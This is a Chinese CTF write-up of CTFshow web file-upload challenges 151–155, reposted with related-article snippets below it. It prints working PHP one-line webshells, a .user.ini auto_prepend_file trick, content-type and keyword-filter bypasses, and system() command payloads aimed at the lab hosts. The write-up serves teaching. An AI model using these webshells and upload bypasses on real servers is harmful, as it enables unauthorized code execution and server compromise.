CTFshow之文件上传web入门151关-161关解密。包教包会!!!!

 

这段时间一直在搞文件上传相关的知识,正好把ctf的题目做做写写给自字做个总结!

不过有一个确定就是所有的测试全部是黑盒测试,无法从代码层面和大家解释,我找个时间把upload-labs靶场做一做给大家讲讲白盒的代码审计

一、实验准备

1.ctf网站:

www.ctf.show

2.工具:

burpsuite抓包工具、hackbar工具(如果大家没有可以私我)、firefox(火狐浏览器)

二、实验过程

(一)第151关 -- 前端验证

前提:我们已知此处可以上传图片类型文件

对于前端验证,我们常用的有两种方法进行绕过:

1.在右键检查->设置处启用禁止js

不过此方法建议使用虽然我们有时候能够绕过,但是当此网页含有大量使用js编写的代码时,会导致网页部分功能瘫痪!汗颜,ctf也失效了,所以还是老老实实使用第二种方法

2.将后门以.jpg/.png/.gif等允许格式发送,使用bp抓包修改后缀

上传成功!

但是此时可能会有小可爱问呐:哎哎哎,你咋知道就是前端验证呢?说出你的证据!

我们右键查看网页源码,查看到js源码过滤逻辑,只允许我们上传.png文件

3.利用后门文件

一句话木马,上下两种无论带不带引号均可以:

<?php @eval($_POST['ws'])?>

<?php @eval($_POST[ws])?>

此时我们存在两种方法(此处我们统一使用第2中方法):

(1)通过蚁剑连接寻找flag文件

payload:

https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/upload/1.php

连接密码(因人而异):

ws

(2)直接通过hackbar发post包利用system()函数执行

post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!

(二)第152关 -- 不严谨的后端验证

1.上传后门及分析

此处考察我们content-type验证为:image/png、image/gif、image/jpg

传输正确文件抓包,content-type为image/pnf

发送一句话木马,修改content-type值为:image/png,此处注意一下,我直接上传.php文件发现无法通过,定睛一看才发现前端验证还没关,汗颜!上传1.png的木马

上传成功!

2.利用后门

与151关类似,我们使用第二种方法,通过hackbar直接发包利用函数的方式获取flag

payload:

https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.phphttps://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php

post data:ws=system('ls ../');

post data:ws=system("tac ../flag.php");

成功!

(三)第153关 -- 利用php中.user.ini文件进行解析

我们尝试使用151关和152关的思路进行解题,发现无法实现,继而想到后端是否过滤大小写,抓包后将1.png文件改成1.pHp,发现能够上传成功,但是无法利用

突然崩溃,但是!.user.ini文件出现了,正如apache服务中的.htaccess文件!

1. .user.ini文件特性

当网站进行扫描时,会将.user.ini文件指向路径内容包含在首页代码处(如index.php、index.html等),使用参数auto_prepend_file(包含至首页文件头部)和auto_append_file(包含在首页文件尾部)进行配置

例如:auto_prepend_file=1.png //将1.png文件内容包含在首页文件中,“=”后紧跟需要包含文件路径

所以,本题的解题思路:

先将.user.ini文件上传至upload目录处,并且在其中写入auto_prepend_file=1.png,紧接着上传1.png格式一句话代码,最后访问payload即可

2.上传.user.ini文件(使用bp中repaeater重发器功能进行上传)

内容:auto_prepend_file=1.png

上传成功

3.上传1.png格式一句话木马

上传成功!

4.利用

首先访问..upload/index.php触发.ujser.ini文件将1.png内容写入index.php

paylaod:https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.phphttps://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php

其次,操作如上述两关


https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php(四)第154关 -- 内容过滤

执行思路如153关,但是在上传1.png文件时注意所过滤的内容

1.上传.user.ini文件

(具体不在进行演示与上述153关相同)

2.上传1.png木马文件寻找过滤内容

过滤内容:php

经过多次尝试发包,当文件内容不包含php字眼时可以上传成功,所以过滤内容为php

所以我们的问题变成如何在不写入php字眼时传入后门?提供方式如下:

paylaod:<?=eval($_POST['ws']);?>

上传成功

3.利用后门

是骡子是马我们拉出来遛一遛,进行前述关卡利用操作

首先访问首页文件触发.user.ini将1.png内容写入,触发后门

payload:https://8d5042ac-a58e-46a4-82cf-90dd07ccc04a.challenge.ctf.show/upload/index.php

post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!

(五)第155关 -- 内容过滤

整体思路与154关一样,只是过滤内容不一样,所以我们此关着重关注测试所过滤的内容!

1.上传.user.ini文件

内容:auto_prepend_file=1.png

2.测试过滤内容

发现仅仅去掉php即可成功发送(妈呀,那不是直接和154关一样啦!)

过滤内容:php

paylaod:<?=eval($_POST['ws']);?>

3.利用(与154一致)

访问../upload/index.php触发->寻找flag.php文件所在位置->查看flag.php文件内容

成功!

先写到这,明天继续!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/329145.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

保研笔试复习——nju

文章目录 一、单选计算机网络计算机组成原理数字逻辑电路数据结构操作系统微机系统 多选题计算机网络计算机系统结构操作系统 免责声明&#xff1a;题目源自于网络&#xff0c;侵删。 就在今天2024-5-18&#xff0c;考的题下面的只有一道AVL的原题&#xff0c;其他都不是原题&a…

【C++初阶】--- C++入门(上)

目录 一、C的背景及简要介绍1.1 什么是C1.2 C发展史1.3 C的重要性 二、C关键字三、命名空间2.1 命名空间定义2.2 命名空间使用 四、C输入 & 输出 一、C的背景及简要介绍 1.1 什么是C C语言是结构化和模块化的语言&#xff0c;适合处理较小规模的程序。对于复杂的问题&…

Docker Hub注册及上传自定义镜像

说明&#xff1a;本文介绍如何注册Docker Hub&#xff0c;及将自己自定义镜像上传到Docker Hub上&#xff1b; 注册Docker Hub 浏览器输入&#xff1a;http://hub.docker.com/&#xff0c;进入Docker Hub官网 注&#xff1a;如果无法访问&#xff0c;可在GitHub上下载一个Ste…

全面掌握深度学习:从基础到前沿

引言&#xff1a;深入探索深度学习的世界 在人工智能&#xff08;AI&#xff09;的广阔领域中&#xff0c;深度学习已经成为最令人瞩目的技术之一。它不仅推动了科技的许多突破性进展&#xff0c;也正在改变我们的工作和生活方式。本博客旨在全面总结深度学习的关键知识点&…

分类和品牌关联

文章目录 1.数据库表设计1.多表关联设计2.创建表 2.使用renren-generator生成CRUD1.基本配置检查1.generator.properties2.application.yml 2.生成代码1.进入localhost:81生成代码2.将main目录覆盖sunliving-commodity模块的main目录 3.代码检查1.注释掉CategoryBrandRelationC…

Map遍历、反射、GC

map的遍历 用foreach遍历 HashMap<Character,Integer> map new HashMap<>();map.put(A,2);map.put(B,3);map.put(C,3);for (Map.Entry<Character,Integer> entry: map.entrySet()) {char key entry.getKey();int value entry.getValue();System.out.prin…

HTML | 在IDEA中配置Tomcat时遇到的一些问题的解决办法

目录 IDEA中没有web文件夹目录 Tomcat在哪里配置服务器 IDEA中没有web文件夹目录 首先说在IDEA中没有web这个文件夹的解决办法 在菜单栏中帮助中点击查找操作搜索添加框架支持&#xff08;因为我的IDEA会出现无法点击这个操作&#xff0c;所以我对该操作添加了快捷键&#xf…

防火墙技术基础篇:解析防火墙的网络隔离机制

防火墙技术基础篇&#xff1a;解析防火墙的网络隔离机制 网络安全在现代社会中扮演着重要的角色&#xff0c;保护网络系统、用户和数据免受未经授权的访问、破坏和窃取。个人、企业和国家都需要加强网络安全意识&#xff0c;采取有效措施保护自身的网络安全。随着网络攻击手段…

如何提交网站到谷歌网站收录?

其实就那么几个步骤&#xff0c;要做谷歌那肯定是需要一个谷歌账号的&#xff0c;然后找到Google Search Console这个谷歌的官方平台&#xff0c;这是最权威的可以统计来自谷歌流量的平台了&#xff0c;毕竟是谷歌自家的&#xff0c;肯定也不可能作假&#xff0c;然后就是跟着平…

【详细讲解】二叉树的层序遍历

广度优先搜索 总结一下&#xff0c;思路就是&#xff1a; 加入元素&#xff0c;记录size&#xff0c;size就是当前这一层的元素个数。不断弹出元素&#xff0c;size - 1&#xff0c; 同时加入弹出元素的左右孩子&#xff0c;直到size0&#xff0c;说明当前层已经完全遍历完&am…

【设计模式深度剖析】【A】【创建型】【对比】| 工厂模式重点理解产品族的概念

回 顾&#xff1a;创建型设计模式 1.单例模式&#x1f448;️ 2.工厂方法模式&#x1f448;️ 3.抽象工厂模式&#x1f448;️ 4.建造者模式&#x1f448;️ 5.原型模式&#x1f448;️ &#x1f448;️上一篇:原型模式 | &#x1f449;️下一篇:代理模式 目录…

Vue3中为Ant Design Vue中table的checkbox加tooltip、popover

问题的产生 Vue版本&#xff1a;3.3.13 ant-design-vue 版本&#xff1a;3.x.x 在工作时遇到一个场景&#xff0c;需要在 ant-table 的 checkbox 被禁用的时候提示原因&#xff0c;但是在 ant-design-vue 文档中并没有发现有相关介绍。 首先我去看了issue中是否有提到相关问题…

Oracle Graph 入门 - RDF 知识图谱

Oracle Graph 入门 - RDF 知识图谱 0. 引言1. 查看 RDF Semantic Graph 安装情况2. 创建一个语义网络4. 创建一个模型5. 加载 RDF 文件6. 配置 W3C 标准的 SPARQL 端点 0. 引言 Oracle Graph 的中文资料太少了&#xff0c;只能自己参考英文资料整理一篇吧。 Oracle 数据库包括…

优质道路病害数据集汇总

道路病害指的是因使用、环境影响、材料老化等因素引起的道路表面及结构的各种损伤和退化现象。这些病害可能包括裂缝、坑洞、沉陷、脱层、波浪起伏等多种形态。道路病害不仅影响道路的平整性和美观&#xff0c;更重要的是会影响车辆行驶的安全性和舒适性&#xff0c;增加行车风…

day08-Java常用API

day08——Java常用API 一、今日内容介绍、API概述 各位同学&#xff0c;我们前面已经学习了面向对象编程&#xff0c;使用面向编程这个套路&#xff0c;我们需要自己写类&#xff0c;然后创建对象来解决问题。但是在以后的实际开发中&#xff0c;更多的时候&#xff0c;我们是…

MySql--SQL语言

目录 SQl---DDL 结构定义 创建、删除 数据库 代码 运行 设计表 数据类型 整数 浮点数 主键 约束 主键自增长 默认值 字段注释 创建、删除 表 代码 运行 代码 代码 运行 SQL---DML 数据操纵 插入数据 代码 运行 代码 运行 代码 运行 代码 …

使用xsd验证xml格式的正确性

1.1 基础知识介绍 XML简介&#xff1a;XML是可扩展标记语言&#xff08;eXtensible Markup Language&#xff09;的缩写&#xff0c;它是一种数据表示格式&#xff0c;可以描述非常复杂的数据结构&#xff0c;常用于传输和存储数据。xml文件、xml消息。XSD简介&#xff1a;是X…

【linux】详解vim编辑器

基本指令 【linux】详解linux基本指令-CSDN博客 【linux】详解linux基本指令-CSDN博客 vim的基本概念 vim有很多模式&#xff0c;小编只介绍三种就能让大家玩转vim了&#xff0c; 分别是&#xff1a; 正常/普通/命令模式 插入模式 末行/底行模式 命令模式 控制屏幕光标的…

nssctf(Web刷题)

[SWPUCTF 2021 新生赛]gift_F12 打开题目是一个时间页面&#xff0c;不过看了一会儿发现没有什么用 直接F12打开网页源代码 CtrlF搜索flag 找到了flag NSSCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft} [第五空间 2021]签到题 NSSCTF{welcometo5space} [SWPUCTF 2021 新生赛…

【东山派Vision K510开发板试用笔记】nncase的安装

概述 最近试用了百问网提供的东山派Vision开发板&#xff0c;DongshanPI-Vision开发板是百问网针对AI应用开发设计出来的一个RSIC-V架构的AI开发板&#xff0c;主要用于学习使用嘉楠的K510芯片进行Linux项目开发和嵌入式AI应用开发等用途。DongshanPI-Vision开发板采用嘉楠公司…